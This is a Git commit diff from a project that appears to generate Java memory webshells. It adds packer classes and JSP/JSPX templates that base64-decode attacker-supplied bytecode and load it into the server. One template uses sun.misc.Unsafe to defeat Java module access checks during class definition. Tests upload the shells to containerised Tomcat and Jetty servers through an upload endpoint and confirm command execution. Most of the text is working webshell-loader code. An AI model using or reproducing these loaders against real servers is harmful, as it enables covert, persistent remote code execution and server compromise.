mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 16:31:53 +08:00
feat: support defineClass JSP packers
This commit is contained in:
@@ -24,9 +24,7 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
|||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
import com.reajason.javaweb.memshell.packer.jsp.*;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
||||||
@@ -68,7 +66,9 @@ public enum Packers {
|
|||||||
* JSP 打包器
|
* JSP 打包器
|
||||||
*/
|
*/
|
||||||
JSP(new JspPacker()),
|
JSP(new JspPacker()),
|
||||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||||
|
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||||
|
BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class),
|
||||||
JSPX(new JspxPacker(), JspPacker.class),
|
JSPX(new JspxPacker(), JspPacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jsp;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class BypassDefineClassJspPacker implements Packer {
|
||||||
|
|
||||||
|
String jspTemplate = null;
|
||||||
|
|
||||||
|
public BypassDefineClassJspPacker() {
|
||||||
|
try {
|
||||||
|
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-2
@@ -12,11 +12,11 @@ import java.util.Objects;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/26
|
* @since 2024/11/26
|
||||||
*/
|
*/
|
||||||
public class DefalutJspPacker implements Packer {
|
public class ClassLoaderJspPacker implements Packer {
|
||||||
|
|
||||||
String jspTemplate = null;
|
String jspTemplate = null;
|
||||||
|
|
||||||
public DefalutJspPacker() {
|
public ClassLoaderJspPacker() {
|
||||||
try {
|
try {
|
||||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jsp;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class DefineClassJspPacker implements Packer {
|
||||||
|
|
||||||
|
String jspTemplate = null;
|
||||||
|
|
||||||
|
public DefineClassJspPacker() {
|
||||||
|
try {
|
||||||
|
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,50 +1,27 @@
|
|||||||
<%!
|
<%!
|
||||||
public static class ClassDefiner extends ClassLoader {
|
public static class ClassDefiner extends ClassLoader {
|
||||||
public ClassDefiner() {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(classLoader);
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] decodeBase64(String bytecodeBase64) {
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
|
||||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
|
||||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
|
||||||
} catch (Exception ee) {
|
|
||||||
try {
|
|
||||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
|
||||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
|
||||||
} catch (Exception e) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class<?> defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public String toString() {
|
|
||||||
String className = "{{className}}";
|
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
classLoader.loadClass(className).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
try {
|
|
||||||
byte[] bytecode = decodeBase64(base64Str);
|
|
||||||
Class<?> clazz = defineClass(bytecode);
|
|
||||||
clazz.newInstance();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return className;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
%>
|
%>
|
||||||
|
|
||||||
<%
|
<%
|
||||||
new ClassDefiner().toString();
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||||
|
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||||
|
}
|
||||||
|
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
%>
|
%>
|
||||||
@@ -3,51 +3,28 @@
|
|||||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||||
<jsp:declaration><![CDATA[
|
<jsp:declaration><![CDATA[
|
||||||
public static class ClassDefiner extends ClassLoader {
|
public static class ClassDefiner extends ClassLoader {
|
||||||
public ClassDefiner() {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(classLoader);
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] decodeBase64(String bytecodeBase64) {
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
|
||||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
|
||||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
|
||||||
} catch (Exception ee) {
|
|
||||||
try {
|
|
||||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
|
||||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
|
||||||
} catch (Exception e) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class<?> defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public String toString() {
|
|
||||||
String className = "{{className}}";
|
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
classLoader.loadClass(className).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
try {
|
|
||||||
byte[] bytecode = decodeBase64(base64Str);
|
|
||||||
Class<?> clazz = defineClass(bytecode);
|
|
||||||
clazz.newInstance();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return className;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
]]></jsp:declaration>
|
]]></jsp:declaration>
|
||||||
<jsp:scriptlet><![CDATA[
|
<jsp:scriptlet><![CDATA[
|
||||||
new ClassDefiner().toString();
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||||
|
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||||
|
}
|
||||||
|
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
]]></jsp:scriptlet>
|
]]></jsp:scriptlet>
|
||||||
</jsp:root>
|
</jsp:root>
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
<%
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||||
|
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||||
|
}
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
||||||
|
clazz.newInstance();
|
||||||
|
%>
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
<%@ page import="java.lang.reflect.Method" %>
|
||||||
|
<%@ page import="java.lang.reflect.Field" %>
|
||||||
|
<%@ page import="java.net.URLClassLoader" %>
|
||||||
|
<%@ page import="java.net.URL" %><%
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||||
|
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||||
|
}
|
||||||
|
Object unsafe = null;
|
||||||
|
Object rawModule = null;
|
||||||
|
long offset = 48;
|
||||||
|
Method getAndSetObjectM = null;
|
||||||
|
try {
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
unsafe = unsafeField.get(null);
|
||||||
|
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||||
|
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||||
|
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||||
|
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
|
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
defMethod.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
|
||||||
|
if (getAndSetObjectM != null) {
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
|
}
|
||||||
|
clazz.newInstance();
|
||||||
|
%>
|
||||||
+7
-43
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration;
|
|||||||
|
|
||||||
import com.reajason.javaweb.antsword.AntSwordManager;
|
import com.reajason.javaweb.antsword.AntSwordManager;
|
||||||
import com.reajason.javaweb.behinder.BehinderManager;
|
import com.reajason.javaweb.behinder.BehinderManager;
|
||||||
|
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
@@ -17,8 +18,6 @@ import okhttp3.HttpUrl;
|
|||||||
import okhttp3.OkHttpClient;
|
import okhttp3.OkHttpClient;
|
||||||
import okhttp3.Request;
|
import okhttp3.Request;
|
||||||
import okhttp3.Response;
|
import okhttp3.Response;
|
||||||
import org.java_websocket.client.WebSocketClient;
|
|
||||||
import org.java_websocket.handshake.ServerHandshake;
|
|
||||||
import org.testcontainers.containers.Container;
|
import org.testcontainers.containers.Container;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
@@ -28,18 +27,16 @@ import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
|||||||
import org.testcontainers.utility.MountableFile;
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.net.URI;
|
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
import java.util.concurrent.CountDownLatch;
|
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.anyOf;
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -207,41 +204,8 @@ public class ShellAssertionTool {
|
|||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
|
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
|
||||||
final CountDownLatch latch = new CountDownLatch(1);
|
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(entrypoint, payload);
|
||||||
final String[] responseHolder = new String[1];
|
assertTrue(response.contains("uid="));
|
||||||
final long timeout = 5;
|
|
||||||
|
|
||||||
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
|
|
||||||
@Override
|
|
||||||
public void onOpen(ServerHandshake data) {
|
|
||||||
send(payload);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onMessage(String message) {
|
|
||||||
responseHolder[0] = message;
|
|
||||||
latch.countDown();
|
|
||||||
close();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onClose(int code, String reason, boolean remote) {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onError(Exception ex) {
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
client.connect();
|
|
||||||
|
|
||||||
boolean connected = latch.await(timeout, TimeUnit.SECONDS);
|
|
||||||
if (!connected) {
|
|
||||||
fail("连接超时,未能成功连接到 WebSocket 服务器");
|
|
||||||
}
|
|
||||||
|
|
||||||
String res = responseHolder[0];
|
|
||||||
assertTrue(res.contains("uid="));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
|
public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
|
||||||
@@ -340,9 +304,9 @@ public class ShellAssertionTool {
|
|||||||
|
|
||||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
|
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
|
||||||
switch (packer) {
|
switch (packer) {
|
||||||
case JSP -> {
|
case JSP, ClassLoaderJSP, DefineClassJSP, BypassDefineClassJSP -> {
|
||||||
String uploadEntry = url + "/upload";
|
String uploadEntry = url + "/upload";
|
||||||
String filename = shellType + shellTool + ".jsp";
|
String filename = shellType + shellTool + packer + ".jsp";
|
||||||
String shellUrl = url + "/" + filename;
|
String shellUrl = url + "/" + filename;
|
||||||
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||||
VulTool.urlIsOk(shellUrl);
|
VulTool.urlIsOk(shellUrl);
|
||||||
|
|||||||
+1
-1
@@ -57,7 +57,7 @@ public class Jetty11ContainerTest {
|
|||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.AntSword)
|
null, List.of(ShellTool.AntSword)
|
||||||
);
|
);
|
||||||
|
|||||||
+1
-1
@@ -60,7 +60,7 @@ public class Tomcat11ContainerTest {
|
|||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
|
List<Packers> testPackers = List.of(Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -60,7 +60,7 @@ public class Tomcat8ContainerTest {
|
|||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
|
List<Packers> testPackers = List.of(Packers.ClassLoaderJSP, Packers.DefineClassJSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user